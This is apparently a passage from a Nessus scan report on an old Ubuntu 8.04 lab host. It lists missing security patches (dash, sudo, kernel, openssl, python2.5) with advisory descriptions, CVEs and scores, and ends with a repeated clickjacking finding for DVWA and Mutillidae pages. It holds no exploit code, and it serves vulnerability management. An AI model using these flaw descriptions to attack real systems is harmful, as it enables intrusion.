The remote Ubuntu host is missing one or more security-related patches.

### Description

Wolfgang M. Reimer discovered that dash, when invoked as a login shell, would source .profile files from the current directory. Local users may be able to bypass security restrictions and gain root privileges by placing specially crafted .profile files where they might get sourced by other dash users.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/732-1/

### Solution

Update the affected ash and / or dash packages.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0014

### CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2009-0854 |
| XREF | USN:732-1 |
| XREF | CWE:78 |

### Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

### tcp/0

```

  - Installed package : dash_0.5.4-8ubuntu1
  - Fixed package     : dash_0.5.4-8ubuntu1.1

```

## 38070 - Ubuntu 8.04 LTS / 8.10 : sudo vulnerability (USN-722-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Harald Koenig discovered that sudo did not correctly handle certain privilege changes when handling groups. If a local attacker belonged to a group included in a 'RunAs' list in the /etc/sudoers file, that user could gain root privileges. This was not an issue for the default sudoers file shipped with Ubuntu.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/722-1/

### Solution

Update the affected sudo and / or sudo-ldap packages.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0009

### CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.1 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 33517 |
| CVE | CVE-2009-0034 |
| CVE | CVE-2011-0008 |

| | |
|---|---|
| XREF | USN:722-1 |
| XREF | CWE:264 |

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : sudo_1.6.9p10-1ubuntu3
  - Fixed package     : sudo_1.6.9p10-1ubuntu3.4
```

## 47109 - Ubuntu 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : fastjar vulnerability (USN-953-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Dan Rosenberg discovered that fastjar incorrectly handled file paths containing '..' when unpacking archives. If a user or an automated system were tricked into unpacking a specially crafted jar file, arbitrary files could be overwritten with user privileges.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/953-1/

### Solution

Update the affected fastjar package.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.0069

### CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

### References

| | |
|---|---|
| CVE | CVE-2010-0831 |
| XREF | USN:953-1 |

### Plugin Information

Published: 2010/06/22, Modified: 2019/09/19

## Plugin Output

### tcp/0

```
  - Installed package : fastjar_2:0.95-1ubuntu2
  - Fixed package     : fastjar_2:0.95-1ubuntu2.1
```

## 50824 - Ubuntu 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : apr-util vulnerability (USN-1022-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that APR-util did not properly handle memory when destroying APR buckets. An attacker could exploit this and cause a denial of service via memory exhaustion.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1022-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.6

### EPSS Score

0.2722

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 43673 |
| CVE | CVE-2010-1623 |
| XREF | USN:1022-1 |

## Plugin Information

Published: 2010/11/28, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libaprutil1_1.2.12+dfsg-3
  - Fixed package     : libaprutil1_1.2.12+dfsg-3ubuntu0.3
```

## 51583 - Ubuntu 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : fuse vulnerability (USN-1045-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that FUSE could be tricked into incorrectly updating the mtab file when mounting filesystems. A local attacker, with access to use FUSE, could unmount arbitrary locations, leading to a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1045-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.0148

### CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

### References

| | |
|---|---|
| CVE | CVE-2010-3879 |
| XREF | USN:1045-1 |

### Plugin Information

Published: 2011/01/20, Modified: 2019/09/19

## Plugin Output

### tcp/0

```

  - Installed package : fuse-utils_2.7.2-1ubuntu2
  - Fixed package     : fuse-utils_2.7.2-1ubuntu2.2

  - Installed package : libfuse2_2.7.2-1ubuntu2
  - Fixed package     : libfuse2_2.7.2-1ubuntu2.2

```

## 53257 - Ubuntu 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : openldap, openldap2.3 vulnerabilities (USN-1100-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that OpenLDAP did not properly check forwarded authentication failures when using a slave server and chain overlay.

If OpenLDAP were configured in this manner, an attacker could bypass authentication checks by sending an invalid password to a slave server. (CVE-2011-1024)

It was discovered that OpenLDAP did not properly perform authentication checks to the rootdn when using the back-ndb backend.

An attacker could exploit this to access the directory by sending an arbitrary password. Ubuntu does not ship OpenLDAP with back-ndb support by default. This issue did not affect Ubuntu 8.04 LTS.

(CVE-2011-1025)

It was discovered that OpenLDAP did not properly validate modrdn requests. An unauthenticated remote user could use this to cause a denial of service via application crash. (CVE-2011-1081).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1100-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

6.5

### EPSS Score

0.0728

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 46363 |
| BID | 46831 |
| CVE | CVE-2011-1024 |
| CVE | CVE-2011-1025 |
| CVE | CVE-2011-1081 |
| XREF | USN:1100-1 |

## Plugin Information

Published: 2011/04/01, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libldap-2.4-2_2.4.9-0ubuntu0.8.04.3
  - Fixed package     : libldap-2.4-2_2.4.9-0ubuntu0.8.04.5

  - Installed package : libldap2-dev_2.4.9-0ubuntu0.8.04.3
  - Fixed package     : libldap2-dev_2.4.9-0ubuntu0.8.04.5
```

## 51584 - Ubuntu 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : util-linux update (USN-1045-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-1045-1 fixed vulnerabilities in FUSE. This update to util-linux adds support for new options required by the FUSE update.

It was discovered that FUSE could be tricked into incorrectly updating the mtab file when mounting filesystems. A local attacker, with access to use FUSE, could unmount arbitrary locations, leading to a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1045-2/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.0148

### CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

### References

| | |
|---|---|
| CVE | CVE-2010-3879 |
| XREF | USN:1045-2 |

### Plugin Information

Published: 2011/01/20, Modified: 2019/09/19

## Plugin Output

### tcp/0

```
  - Installed package : mount_2.13.1-5ubuntu1
  - Fixed package     : mount_2.13.1-5ubuntu3.1

  - Installed package : util-linux_2.13.1-5ubuntu1
  - Fixed package     : util-linux_2.13.1-5ubuntu3.1

  - Installed package : util-linux-locales_2.13.1-5ubuntu1
  - Fixed package     : util-linux-locales_2.13.1-5ubuntu3.1
```

## 63285 - Ubuntu 8.04 LTS : glibc regression (USN-1589-2)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

USN-1589-1 fixed vulnerabilities in the GNU C Library. One of the updates exposed a regression in the floating point parser. This update fixes the problem.

We apologize for the inconvenience.

It was discovered that positional arguments to the printf() family of functions were not handled properly in the GNU C Library. An attacker could possibly use this to cause a stack-based buffer overflow, creating a denial of service or possibly execute arbitrary code.

(CVE-2012-3404, CVE-2012-3405, CVE-2012-3406)

It was discovered that multiple integer overflows existed in the strtod(), strtof() and strtold() functions in the GNU C Library. An attacker could possibly use this to trigger a stack-based buffer overflow, creating a denial of service or possibly execute arbitrary code. (CVE-2012-3480).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1589-2/

### Solution

Update the affected libc6 package.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.0113

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:ND)

## References

| | |
|---|---|
| BID | 54982 |
| CVE | CVE-2012-3404 |
| CVE | CVE-2012-3405 |
| CVE | CVE-2012-3406 |
| CVE | CVE-2012-3480 |
| XREF | USN:1589-2 |

## Plugin Information

Published: 2012/12/18, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libc6_2.7-10ubuntu5
  - Fixed package     : libc6_2.7-10ubuntu8.3
```

## 55784 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1186-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Dan Rosenberg discovered that IPC structures were not correctly initialized on 64bit systems. A local attacker could exploit this to read kernel stack memory, leading to a loss of privacy.

(CVE-2010-4073)

Steve Chen discovered that setsockopt did not correctly check MSS values. A local attacker could make a specially crafted socket call to crash the system, leading to a denial of service. (CVE-2010-4165)

Vladymyr Denysov discovered that Xen virtual CD-ROM devices were not handled correctly. A local attacker in a guest could make crafted blkback requests that would crash the host, leading to a denial of service. (CVE-2010-4238)

Vegard Nossum discovered that memory garbage collection was not handled correctly for active sockets. A local attacker could exploit this to allocate all available kernel memory, leading to a denial of service. (CVE-2010-4249)

Dan Carpenter discovered that the Infiniband driver did not correctly handle certain requests. A local user could exploit this to crash the system or potentially gain root privileges. (CVE-2010-4649, CVE-2011-1044)

Dan Rosenberg discovered that XFS did not correctly initialize memory.

A local attacker could make crafted ioctl calls to leak portions of kernel stack memory, leading to a loss of privacy. (CVE-2011-0711)

Timo Warns discovered that MAC partition parsing routines did not correctly calculate block counts. A local attacker with physical access could plug in a specially crafted block device to crash the system or potentially gain root privileges. (CVE-2011-1010)

Neil Horman discovered that NFSv4 did not correctly handle certain orders of operation with ACL data. A remote attacker with access to an NFSv4 mount could exploit this to crash the system, leading to a denial of service. (CVE-2011-1090)

Vasiliy Kulikov discovered that the netfilter code did not check certain strings copied from userspace. A local attacker with netfilter access could exploit this to read kernel memory or crash the system, leading to a denial of service. (CVE-2011-1170, CVE-2011-1171, CVE-2011-1172, CVE-2011-2534)

Vasiliy Kulikov discovered that the Acorn Universal Networking driver did not correctly initialize memory. A remote attacker could send specially crafted traffic to read kernel stack memory, leading to a loss of privacy. (CVE-2011-1173)

Vasiliy Kulikov discovered that taskstats listeners were not correctly handled. A local attacker could exploit this to exhaust memory and CPU resources, leading to a denial of service. (CVE-2011-2484).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1186-1/

## Solution

Update the affected packages.

## Risk Factor

Medium

## VPR Score

6.4

## EPSS Score

0.0083

## CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

5.4 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 44830 |
| BID | 45037 |
| BID | 45073 |
| BID | 45795 |
| BID | 46073 |
| BID | 46417 |
| BID | 46488 |
| BID | 46492 |
| BID | 46766 |
| BID | 46919 |
| BID | 46921 |
| BID | 47990 |
| BID | 48383 |
| CVE | CVE-2010-4073 |
| CVE | CVE-2010-4165 |
| CVE | CVE-2010-4238 |
| CVE | CVE-2010-4249 |
| CVE | CVE-2010-4649 |

| | |
|---|---|
| CVE | CVE-2011-0711 |
| CVE | CVE-2011-1010 |
| CVE | CVE-2011-1044 |
| CVE | CVE-2011-1090 |
| CVE | CVE-2011-1170 |
| CVE | CVE-2011-1171 |
| CVE | CVE-2011-1172 |
| CVE | CVE-2011-1173 |
| CVE | CVE-2011-2484 |
| CVE | CVE-2011-2534 |
| XREF | USN:1186-1 |

## Plugin Information

Published: 2011/08/09, Modified: 2019/10/16

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-29.92


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 56583 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1236-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the Auerswald usb driver incorrectly handled lengths of the USB string descriptors. A local attacker with physical access could insert a specially crafted USB device and gain root privileges. (CVE-2009-4067)

It was discovered that the Stream Control Transmission Protocol (SCTP) implementation incorrectly calculated lengths. If the net.sctp.addip_enable variable was turned on, a remote attacker could send specially crafted traffic to crash the system. (CVE-2011-1573)

Vasiliy Kulikov discovered that taskstats did not enforce access restrictions. A local attacker could exploit this to read certain information, leading to a loss of privacy. (CVE-2011-2494)

Vasiliy Kulikov discovered that /proc/PID/io did not enforce access restrictions. A local attacker could exploit this to read certain information, leading to a loss of privacy. (CVE-2011-2495)

Dan Kaminsky discovered that the kernel incorrectly handled random sequence number generation. An attacker could use this flaw to possibly predict sequence numbers and inject packets. (CVE-2011-3188).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1236-1/

### Solution

Update the affected packages.

### Risk Factor

High

### CVSS v3.0 Base Score

6.8 (CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

### CVSS v3.0 Temporal Score

6.1 (CVSS:3.0/E:P/RL:O/RC:C)

### VPR Score

6.7

### EPSS Score

0.0611

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 47308 |
| BID | 48687 |
| BID | 49289 |
| BID | 49408 |
| CVE | CVE-2009-4067 |
| CVE | CVE-2011-1573 |
| CVE | CVE-2011-2494 |
| CVE | CVE-2011-2495 |
| CVE | CVE-2011-3188 |
| XREF | USN:1236-1 |

### Plugin Information

Published: 2011/10/21, Modified: 2020/02/13

### Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-29.95


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 57495 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1323-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Peter Huewe discovered an information leak in the handling of reading security-related TPM data. A local, unprivileged user could read the results of a previous TPM command. (CVE-2011-1162)

Clement Lecigne discovered a bug in the HFS filesystem. A local attacker could exploit this to cause a kernel oops. (CVE-2011-2203)

A flaw was found in the b43 driver in the Linux kernel. An attacker could use this flaw to cause a denial of service if the system has an active wireless interface using the b43 driver. (CVE-2011-3359)

A flaw was found in how the Linux kernel handles user-defined key types. An unprivileged local user could exploit this to crash the system. (CVE-2011-4110).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1323-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.0085

### CVSS v2.0 Base Score

5.4 (CVSS2#AV:N/AC:H/Au:N/C:N/I:N/A:C)

### CVSS v2.0 Temporal Score

4.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 48236 |
| BID | 49629 |
| BID | 50755 |
| BID | 50764 |
| CVE | CVE-2011-1162 |
| CVE | CVE-2011-2203 |
| CVE | CVE-2011-3359 |
| CVE | CVE-2011-4110 |
| XREF | USN:1323-1 |

### Plugin Information

Published: 2012/01/12, Modified: 2019/09/19

### Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-30.98


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 59292 - Ubuntu 8.04 LTS : linux vulnerability (USN-1454-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1454-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.6

### EPSS Score

0.0005

### CVSS v2.0 Base Score

4.9 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:C)

### CVSS v2.0 Temporal Score

4.3 (CVSS2#E:ND/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 51945 |
| CVE | CVE-2011-4086 |
| XREF | USN:1454-1 |

## Plugin Information

Published: 2012/05/29, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-31.101


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 63122 - Ubuntu 8.04 LTS : linux vulnerability (USN-1650-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Rodrigo Freire discovered a flaw in the Linux kernel's TCP illinois congestion control algorithm. A local attacker could use this to cause a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1650-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.0004

### CVSS v2.0 Base Score

4.7 (CVSS2#AV:L/AC:M/Au:N/C:N/I:N/A:C)

### References

| | |
|---|---|
| CVE | CVE-2012-4565 |
| XREF | USN:1650-1 |

### Plugin Information

Published: 2012/12/02, Modified: 2019/09/19

## Plugin Output

### tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-32.106


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 63221 - Ubuntu 8.04 LTS : linux vulnerability (USN-1660-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Zhang Zuotao discovered a bug in the Linux kernel's handling of overlapping fragments in ipv6. A remote attacker could exploit this flaw to bypass firewalls and initial new network connections that should have been blocked by the firewall.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1660-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.6

### EPSS Score

0.0295

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

### References

| | |
|---|---|
| CVE | CVE-2012-4444 |
| XREF | USN:1660-1 |

### Plugin Information

Published: 2012/12/11, Modified: 2019/09/19

## Plugin Output

### tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-32.107


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 33389 - Ubuntu 8.04 LTS : openssl vulnerabilities (USN-620-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that OpenSSL was vulnerable to a double-free when using TLS server extensions.
A remote attacker could send a crafted packet and cause a denial of service via application crash in applications linked against OpenSSL. Ubuntu 8.04 LTS does not compile TLS server extensions by default. (CVE-2008-0891)

It was discovered that OpenSSL could dereference a NULL pointer. If a user or automated system were tricked into connecting to a malicious server with particular cipher suites, a remote attacker could cause a denial of service via application crash. (CVE-2008-1672).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/620-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.2126

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:ND/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 29405 |
| CVE | CVE-2008-0891 |
| CVE | CVE-2008-1672 |
| XREF | USN:620-1 |
| XREF | CWE:189 |
| XREF | CWE:287 |

## Plugin Information

Published: 2008/07/02, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : openssl_0.9.8g-4ubuntu3
  - Fixed package     : openssl_0.9.8g-4ubuntu3.3
```

## 62619 - Ubuntu 8.04 LTS : python2.5 vulnerabilities (USN-1613-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that Python would prepend an empty string to sys.path under certain circumstances. A local attacker with write access to the current working directory could exploit this to execute arbitrary code. (CVE-2008-5983)

It was discovered that the audioop module did not correctly perform input validation. If a user or automated system were tricked into opening a crafted audio file, an attacker could cause a denial of service via application crash. (CVE-2010-1634, CVE-2010-2089)

Giampaolo Rodola discovered several race conditions in the smtpd module. A remote attacker could exploit this to cause a denial of service via daemon outage. (CVE-2010-3493)

It was discovered that the CGIHTTPServer module did not properly perform input validation on certain HTTP GET requests. A remote attacker could potentially obtain access to CGI script source files.

(CVE-2011-1015)

Niels Heinen discovered that the urllib and urllib2 modules would process Location headers that specify a redirection to file: URLs. A remote attacker could exploit this to obtain sensitive information or cause a denial of service. (CVE-2011-1521)

It was discovered that SimpleHTTPServer did not use a charset parameter in the Content-Type HTTP header. An attacker could potentially exploit this to conduct cross-site scripting (XSS) attacks against Internet Explorer 7 users. (CVE-2011-4940)

It was discovered that Python distutils contained a race condition when creating the ~/.pypirc file. A local attacker could exploit this to obtain sensitive information. (CVE-2011-4944)

It was discovered that SimpleXMLRPCServer did not properly validate its input when handling HTTP POST requests. A remote attacker could exploit this to cause a denial of service via excessive CPU utilization. (CVE-2012-0845)

It was discovered that the Expat module in Python 2.5 computed hash values without restricting the ability to trigger hash collisions predictably. If a user or application using pyexpat were tricked into opening a crafted XML file, an attacker could cause a denial of service by consuming excessive CPU resources. (CVE-2012-0876)

Tim Boddy discovered that the Expat module in Python 2.5 did not properly handle memory reallocation when processing XML files. If a user or application using pyexpat were tricked into opening a crafted XML file, an attacker could cause a denial of service by consuming excessive memory resources. (CVE-2012-1148).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1613-1/

Solution

Update the affected python2.5 and / or python2.5-minimal packages.

Risk Factor

Medium

VPR Score

5.9

EPSS Score

0.1763

CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.4 (CVSS2#E:POC/RL:OF/RC:C)

References

| | |
|---|---|
| CVE | CVE-2008-5983 |
| CVE | CVE-2010-1634 |
| CVE | CVE-2010-2089 |
| CVE | CVE-2010-3493 |
| CVE | CVE-2011-1015 |
| CVE | CVE-2011-1521 |
| CVE | CVE-2011-4940 |
| CVE | CVE-2011-4944 |
| CVE | CVE-2012-0845 |
| CVE | CVE-2012-0876 |
| CVE | CVE-2012-1148 |
| XREF | USN:1613-1 |

Plugin Information

Published: 2012/10/18, Modified: 2019/09/19

Plugin Output

### tcp/0

```
  - Installed package : python2.5_2.5.2-2ubuntu6.1
  - Fixed package     : python2.5_2.5.2-2ubuntu6.2

  - Installed package : python2.5-minimal_2.5.2-2ubuntu6.1
  - Fixed package     : python2.5-minimal_2.5.2-2ubuntu6.2
```

## 85582 - Web Application Potentially Vulnerable to Clickjacking

### Synopsis

The remote web server may fail to mitigate a class of web application vulnerabilities.

### Description

The remote web server does not set an X-Frame-Options response header or a Content-Security-Policy 'frame-ancestors' response header in all content responses. This could potentially expose the site to a clickjacking or UI redress attack, in which an attacker can trick a user into clicking an area of the vulnerable page that is different than what the user perceives the page to be. This can result in a user performing fraudulent or malicious transactions.

X-Frame-Options has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors.

Content-Security-Policy (CSP) has been proposed by the W3C Web Application Security Working Group, with increasing support among all major browser vendors, as a way to mitigate clickjacking and other attacks. The 'frame-ancestors' policy directive restricts which sources can embed the protected resource.

Note that while the X-Frame-Options and Content-Security-Policy response headers are not the only mitigations for clickjacking, they are currently the most reliable methods that can be detected through automation. Therefore, this plugin may produce false positives if other mitigation strategies (e.g., frame-busting JavaScript) are deployed or if the page does not perform any security-sensitive transactions.

### See Also

http://www.nessus.org/u?399b1f56

https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

https://en.wikipedia.org/wiki/Clickjacking

### Solution

Return the X-Frame-Options or Content-Security-Policy (with the 'frame-ancestors' directive) HTTP header with the page's response.

This prevents the page's content from being rendered by another site when using the frame or iframe HTML tags.

### Risk Factor

Medium

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

### References

| | |
|---|---|
| XREF | CWE:693 |

## Plugin Information

Published: 2015/08/22, Modified: 2017/05/16

## Plugin Output

tcp/80/www

```
The following pages do not use a clickjacking mitigation response header and contain a clickable
 event :

  - http://192.168.50.101/dvwa/login.php
  - http://192.168.50.101/mutillidae/
  - http://192.168.50.101/mutillidae/index.php
  - http://192.168.50.101/phpMyAdmin/
  - http://192.168.50.101/phpMyAdmin/index.php
  - http://192.168.50.101/twiki/bin/search
  - http://192.168.50.101/twiki/bin/search/Main
  - http://192.168.50.101/twiki/bin/search/Main/SearchResult
  - http://192.168.50.101/twiki/bin/view
  - http://192.168.50.101/twiki/bin/view/Main
  - http://192.168.50.101/twiki/bin/view/Main/WebHome
```

## 85582 - Web Application Potentially Vulnerable to Clickjacking

### Synopsis

The remote web server may fail to mitigate a class of web application vulnerabilities.

### Description

The remote web server does not set an X-Frame-Options response header or a Content-Security-Policy 'frame-ancestors' response header in all content responses. This could potentially expose the site to a clickjacking or UI redress attack, in which an attacker can trick a user into clicking an area of the vulnerable page that is different than what the user perceives the page to be. This can result in a user performing fraudulent or malicious transactions.

X-Frame-Options has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors.

Content-Security-Policy (CSP) has been proposed by the W3C Web Application Security Working Group, with increasing support among all major browser vendors, as a way to mitigate clickjacking and other attacks. The 'frame-ancestors' policy directive restricts which sources can embed the protected resource.

Note that while the X-Frame-Options and Content-Security-Policy response headers are not the only mitigations for clickjacking, they are currently the most reliable methods that can be detected through automation. Therefore, this plugin may produce false positives if other mitigation strategies (e.g., frame-busting JavaScript) are deployed or if the page does not perform any security-sensitive transactions.

### See Also

http://www.nessus.org/u?399b1f56

https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

https://en.wikipedia.org/wiki/Clickjacking

### Solution

Return the X-Frame-Options or Content-Security-Policy (with the 'frame-ancestors' directive) HTTP header with the page's response.

This prevents the page's content from being rendered by another site when using the frame or iframe HTML tags.

### Risk Factor

Medium

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

### References

| | |
|---|---|
| XREF | CWE:693 |

## Plugin Information

